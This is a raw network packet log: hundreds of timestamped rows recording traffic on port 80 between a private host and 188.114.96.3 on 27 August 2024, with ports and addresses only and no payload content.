Aug 27, 2024 09:49:36.155263901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155267954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155277014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155288935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155301094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155318975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155344963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238287926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238305092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238322020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238327980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238341093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238353014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238471985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238528967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238580942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238667965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238677979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238687992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238706112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238714933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238746881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238889933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238908052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238925934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238943100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238955021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.238960028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238970995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238984108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.238998890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239011049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239023924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239034891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239039898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239053011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239067078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239073992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239085913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239097118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239098072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239106894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239137888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239140987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239150047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239200115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239289045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239304066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239315987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239327908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239348888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239371061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239443064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239650965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239670992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239682913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239692926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239703894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239706039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239722967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239733934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239746094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239757061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239773035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239778996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239784956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239795923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239808083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239814997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239820957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239824057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239833117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239850044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239867926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239870071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239880085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239897013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239907980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239911079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239918947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239931107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239940882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239953041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239953041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.239964962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.239979982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240017891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240170956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240186930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240200996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240211964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240223885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240226030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240242958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240257025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240268946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240279913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240291119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240303993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240335941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240503073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240514994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240525007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240536928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240550041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240557909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240570068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240571022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240582943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240596056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240597010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240607023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240623951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240650892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240744114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240756035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240767956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240778923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240793943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240816116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240876913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240888119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240897894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240911007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240917921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240922928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.240943909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.240967989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241110086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241121054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241132021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241143942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241156101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241167068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241172075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241178036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241189003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241195917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241202116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241214037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241216898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241225958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241235018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241249084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241763115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241772890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241785049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241868019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241879940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241892099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241903067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.241904974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241918087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.241945028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242347002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242391109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242402077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242422104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242443085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242503881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242515087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242526054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242537975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242549896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242562056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242599010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242621899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242777109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242789030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242800951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242813110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242825985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.242841005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.242867947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.243026018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.243160963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325033903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325058937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325069904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325086117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325171947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325182915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325193882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325205088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325205088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325239897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325259924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325408936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325448036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325459003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325486898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325525999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325540066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325565100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325581074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325594902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325658083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325712919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325782061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325786114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325794935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325891018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325906992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325918913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325931072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.325958014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.325994968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326035976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326069117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326080084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326117992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326154947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326165915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326176882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326189041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326200962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326211929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326214075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326225996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326272964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326281071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326297998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326311111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326342106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326527119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326538086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326553106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326559067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326564074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326569080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326633930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326644897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326657057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326668978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326680899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326692104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326766014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326808929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326814890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326827049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326838970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326850891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326863050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326864004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326878071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326889992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326890945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326925993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326939106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.326941013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326941013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.326948881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327065945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327104092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327116966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327126980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327137947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327150106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327157021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327161074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327172995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327178955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327183962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327195883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327205896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327218056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327243090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327419996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327430964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327436924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327442884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327452898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327459097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327470064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327480078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327492952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327506065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327567101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327596903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327625036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327636957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327647924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327682018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327682018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327697992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327708960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327722073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327723980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327733994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.327749014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.327774048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328062057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328073025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328083992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328111887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328123093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328128099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328135014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328155041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328161001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328172922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328178883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328255892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328327894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328339100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328345060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328363895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328377008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328392029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328402996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328439951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328468084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328680038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328732967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328744888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328747034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328789949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328799963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328803062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328861952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328874111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.328897953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.328910112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329360008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329507113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329516888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329534054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329545021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329547882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329555988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329567909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329586983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329597950 CEST	80	49715	188.114.96.3	192.168.2.8
